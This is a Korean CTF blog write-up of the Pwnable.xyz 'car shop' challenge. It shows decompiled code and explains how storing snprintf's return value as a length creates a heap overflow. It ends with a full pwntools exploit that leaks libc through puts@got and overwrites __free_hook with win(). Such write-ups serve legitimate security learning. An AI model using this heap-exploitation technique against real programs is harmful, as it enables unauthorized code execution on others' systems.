tmxklab
[Pwnable.xyz] car shop 본문
1. 문제
nc svc.pwnable.xyz 30037
1) mitigation 확인
2) 문제 확인
- 차를 구입하거나 판매, 리모델링, 출력해줄 수 있는 프로그램
3) 코드흐름 파악
3-1) buy()
int buy()
{
int result; // eax
unsigned int i; // [rsp+8h] [rbp-20h]
signed int index; // [rsp+Ch] [rbp-1Ch]
__int64 j; // [rsp+10h] [rbp-18h]
_DWORD *car; // [rsp+18h] [rbp-10h]
puts("Which car would you like to buy?");
for ( i = 0; i <= 9; ++i )
printf("%d: %s\n", i, *(&makes + i));
printf("> ");
index = readint();
if ( index < 0 || index > 9 )
return puts("Invalid");
car = malloc(0x20uLL);
*car = malloc(0x10uLL);
car[2] = snprintf(*car, 0x10uLL, "%s", *(&makes + index));
*(car + 2) = 0LL;
*(car + 3) = 0LL;
if ( Head )
{
for ( j = Head; *(j + 16); j = *(j + 16) )
;
*(j + 16) = car;
result = car;
*(car + 3) = j;
}
else
{
result = car;
Head = car;
}
return result;
}
- car에 대한 청크를 생성하여 정보를 저장하고 Head(전역변수)에 car 청크의 주소를 넣는 것 같다.
- 그리고 차를 더 사면 double linked list형식으로 들어가는 것 같다.
- 이따가 청크 구조를 자세히 살펴보자
3-2) sell()
void sell()
{
int *car; // [rsp+0h] [rbp-18h]
char *car_name; // [rsp+8h] [rbp-10h]
if ( Head )
{
printf("Which car would you like to sell: ");
car_name = readline();
for ( car = Head; car; car = *(car + 2) )
{
if ( !strcmp(*car, car_name) )
{
if ( *(car + 3) )
*(*(car + 3) + 16LL) = *(car + 2);
if ( *(car + 2) )
*(*(car + 2) + 24LL) = *(car + 3);
if ( car == Head )
{
Head = *(car + 2);
if ( Head )
*(Head + 24) = 0LL;
}
memset(*car, 0, car[2]);
memset(car, 0, 0x20uLL);
free(*car);
free(car);
}
}
free(car_name);
}
else
{
puts("No cars");
}
}
- 판매하려는 차에 대한 청크를 제거하기 위해 double linked list구조에서 unlink하고 free하는 과정이다.
3-3) remodel()
void remodel()
{
__int64 car; // [rsp+8h] [rbp-20h]
char *car_name; // [rsp+10h] [rbp-18h]
void *new_name; // [rsp+18h] [rbp-10h]
printf("Which car would you like to remodel: ");
car_name = readline();
for ( car = Head; car; car = *(car + 16) )
{
if ( !strcmp(*car, car_name) )
{
printf("Name your new model: ");
new_name = readline();
*(car + 8) = snprintf(*car, *(car + 8), "%s", new_name);
free(new_name);
break;
}
}
free(car_name);
}
- 보유하고 있는 차 이름을 변경하는 것 같다.
3-4) list()
__int64 list()
{
__int64 result; // rax
_QWORD *car; // [rsp+8h] [rbp-10h]
puts("Car collection:");
result = Head;
for ( car = Head; car; car = car[2] )
{
printf(&byte_40117B, *car);
result = car[2];
}
return result;
}
- 보유하고 있는 차 이름을 출력해주는 과정이다.
2. 접근방법
먼저, 차를 3대 샀을 때 청크 구조를 확인해보겠다.
- Head에는 double linked list의 첫 번째 청크의 주소가 있다.
- car_info[0] : car_name chunk → "car name"
- car_info[1] : length "car name"
- car_info[2] : fd, car_info[3] : bk
1) remodel() → snprintf()
처음에 buy()를 통해서 차를 구입하면 car_info[1]에 "car name"의 size값이 저장되어 있다. 이후에 remodel()를 통해서 car name을 변경하고자 할 때
*(car + 8) = snprintf(*car, *(car + 8), "%s", new_name);
new_name에 있는 값을 car_info[1]의 크기만큼 car_info→car_name에 저장한다. 마지막으로 car_info[1]에는 snprintf의 리턴 값을 저장하게 된다.
snprintf는 지정된 변수로 출력이 되어 입력 문자열 즉, 버퍼에 포맷에 맞춰 파싱되서 저장된다. 그리고 sprintf와 달리 size값을 지정하여 출력된 문자열에서 size-1만큼 버퍼에 저장되고 문자열 끝에는 널 값이 들어간다.
마지막으로 리턴 값은 출력된 문자열 즉, 여기서는 new_name의 길이이다.
따라서 위 로직에서 만약 new_name에 "A"*0x100만큼 넣는다면 car_name청크에는 당연히 size만큼 알맞게 들어가지만 문자열의 길이를 저장하는 car_info[1]에는 출력된 문자열의 길이인 0x100이 저장된다.
확인)
- car name은 "BMW"이며 기존의 name size는 0x3
- snprintf()수행 이후에 return값은 출력된 문자열의 길이인 0x10
현재 mitigation에 full RELRO가 걸려있어 got overwrite는 불가능하므로 __free_hook에 win()를 넣는 것으로 진행하겠다.
그러기 위해선 먼저 libc_base주소를 릭해야하므로 puts@got값을 넣고 출력하도록 하겠다.
- size값이 조절가능하므로 remodel()를 통해 값을 넣을 수 있다.
- 0x1973060에 puts@got값을 넣었으니 저거를 출력하면 puts() 주소를 구할 수 있고 libc base주소를 구할 수 있다.
그리고 car_info[0]에 존재하는 car_name청크 주소 대신에 __free_hook주소 넣고 다시 remodel하면 __free_hook에 win함수를 쓸 수 있다.
- 원래 car_info[0]에 있던 car_name청크 자리에 __free_hook이 위치
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30037)
e = ELF("./challenge")
libc = ELF("./libc-2.23.so")
#libc = e.libc
#gdb.attach(p)
puts_got = e.got['puts']
puts_offset = libc.symbols['puts']
free_hook_offset = libc.symbols['__free_hook']
win_addr = e.symbols['win']
def buy(idx):
p.sendlineafter("> ", str(1))
p.sendlineafter("> ", str(idx))
def remodel(old, new):
p.sendlineafter("> ", str(3))
p.sendlineafter("remodel: ", old)
p.sendlineafter("model: ", new)
buy(0)
buy(1)
buy(2)
buy(3)
buy(4)
# 1. car name -> puts@got
remodel("BMW", "A"*0x28)
remodel("AA", "A"*0x20 + p64(puts_got))
# 2. puts() leak
p.sendlineafter("> ", str(4))
p.recvuntil("\n")
p.recvuntil("\n")
p.recvuntil(": ")
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = puts_addr - puts_offset
free_hook_addr = libc_base + free_hook_offset
log.info("puts_addr : "+hex(puts_addr))
log.info("free hook : "+hex(free_hook_addr))
# 3. __free_hook -> win
remodel("Toyota", "A"*0x28)
remodel("AAAAA", "A"*0x20 + p64(free_hook_addr))
remodel('\x00', p64(win_addr))
p.interactive()
2) 실행결과
4. 몰랐던 개념
- snprintf()의 return값
여태 snprintf()의 리턴 값이 버퍼에 저장되는 문자열의 길이인줄 알았는데 이번에 문제를 풀고 나서 리턴 값이 출력되는 버퍼의 문자열의 길이임을 알았다.
참고 :
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] door (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] child (0) | 2020.09.09 |
[Pwnable.xyz] words (0) | 2020.09.09 |
[Pwnable.xyz] notebook (0) | 2020.09.09 |
[Pwnable.xyz] nin (0) | 2020.09.09 |